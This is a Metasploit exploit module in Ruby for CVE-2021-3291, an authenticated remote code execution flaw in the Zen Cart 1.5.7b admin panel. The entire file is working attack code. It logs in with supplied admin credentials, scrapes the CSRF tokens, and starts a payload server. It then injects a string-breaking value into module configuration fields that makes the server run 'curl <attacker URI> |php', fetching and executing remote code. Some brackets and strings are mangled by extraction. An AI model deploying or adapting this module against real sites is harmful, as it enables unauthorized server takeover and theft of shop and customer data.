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,
EXP
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
###
#
#
# This exploit write payload in database and trig to command
# a bug in an zencart v1.5.7b web application
#
###
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'zencart authenticated remote code execution exploit',
'Description' => %q(
This exploit module execution os command in zencart.
),
'License' => MSF_LICENSE,
'Author' => 'Mucahit Saratar <email protected>', # msf module & research & poc
'References' =>
'OSVDB', '' ,
'EDB', '' ,
'URL', 'https://github.com/MucahitSaratar/zencart_auth_rce_poc',
'CVE', '2021-3291'
,
'Platform' => 'php',
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' => 'Automatic', { } ,
'DisclosureDate' => '2021-01-22',
'DefaultTarget' => 0
)
)
register_options(
Opt::RPORT(80),
OptString.new('USERNAME', true, 'User to login with', 'admin'),
OptString.new('PASSWORD', true, 'Password to login with', ''),
OptString.new('BASEPATH', true, 'zencart base path eg. /zencart/', '/'),
OptString.new('MODULE', true, 'Module name. eg. payment,shipping,ordertotal,plugin_manager', 'payment'),
OptString.new('SETTING', true, 'setting name. eg. freecharger for payment', 'freecharger'),
OptString.new('TARGETURI', true, 'Admin Panel Path', '/cracK-Fqu-trasH/')
, self.class
)
end
def start_server
ssltut = false
if datastore"SSL"
ssltut = true
datastore"SSL" = false
end
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
print_status("payload is on #{get_uri}")
@adresim = get_uri
datastore'SSL' = true if ssltut
end
def on_request_uri(cli, request)
print_good('First stage is executed ! Sending 2nd stage of the payload')
send_response(cli, payload.encoded, {'Content-Type'=>'text/html'})
end
def tabanyol
datastore"BASEPATH"
end
def isim
datastore"USERNAME"
end
def parola
datastore"PASSWORD"
end
def login
#"index.php?cmd=login&camefrom=index.php"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(tabanyol, target_uri.path, "index.php"),
'vars_get' => {
'cmd' => 'login',
'camefrom' => 'index.php'
})
# <input type="hidden" name="securityToken" value="c77815040562301dafaef1c84b7aa3f3" />
unless res
fail_with(Failure::Unreachable, "Access web application failure")
end
if res.code != 200
fail_with(Failure::Unreachable, "we not have 200 response")
end
if !res.get_cookies.empty?
@cookie = res.get_cookies
@csrftoken = res.body.scan(/<input type="hidden" name="securityToken" value="(.*)" \/>/).flatten0 || ''
if @csrftoken.empty?
fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')
end
vprint_good("login Csrf token: "email protected)
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(tabanyol, target_uri.path, "index.php?cmd=login&camefrom=index.php"),
'cookie' => @cookie,
'vars_post' => {
'securityToken' => @csrftoken,
'action' => "do"email protected,
'admin_name' => isim,
'admin_pass' => parola
})
if res.code != 302
fail_with(Failure::UnexpectedReply, 'There is no CSRF token at HTTP response.')
end
true
end
def check
unless login
fail_with(Failure::UnexpectedReply, 'Wrong credentials')
return CheckCode::NotVulnerable('Wrong credentials')
end
print_good("We loged in")
Exploit::CheckCode::Vulnerable
CheckCode::Vulnerable('Authenticated successfully')
end
def exploit
check
start_server
sleep(4)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(tabanyol, target_uri.path, "index.php"),
'vars_get' => {
'cmd' => 'modules',
'set' => datastore"MODULE",
'module' => datastore"SETTING",
'action' => 'edit'
},
'cookie' => @cookie
)
if res.code != 200
fail_with(Failure::UnexpectedReply, 'Something Wron. code must be 200')
end
# <input type="hidden" name="securityToken" value="09068bece11256d03ba55fd2d1f9c820" />
if res && res.code == 200
@formtoken = res.body.scan(/<input type="hidden" name="securityToken" value="(.*)" \/>/).flatten0 || ''
if @formtoken.empty?
fail_with(Failure::UnexpectedReply, 'securitytoken not in response')
end
#print_good(@formtoken)
# <form name="modules"
@radiolar = res.body.scan(/<input type="radio" name="configuration\(.*)\" value="True"/)
@selectler = res.body.scan(/<select rel="dropdown" name="configuration\(.*)\" class="form-control">/)
@textarr = res.body.scan(/<input type="text" name="configuration\(.*)\" value="0" class="form-control" \/>/)
@secme = {}
@secme"securityToken" = @formtoken
for @a in @radiolar
@secme"configuration#{@a0}" = "True','F'); echo `curl #{@adresim} |php`; //"
end
for @a in @selectler
@secme"configuration#{@a0}" = "0"
end
for @a in @textarr
@secme"configuration#{@a0}" = "0"
end
print_good(@secme.to_s)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(tabanyol, target_uri.path, "index.php"),
'cookie' => @cookie,
'vars_get' => {
'cmd' => 'modules',
'set' => datastore"MODULE",
'module' => datastore"SETTING",
'action' => 'save'
},
'vars_post' => @secme
)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(tabanyol, target_uri.path, "index.php"),
'vars_get' => {
'cmd' => 'modules',
'set' => datastore"MODULE",
'module' => datastore"SETTING",
'action' => 'edit'
},
'cookie' => @cookie
)
end
end
end
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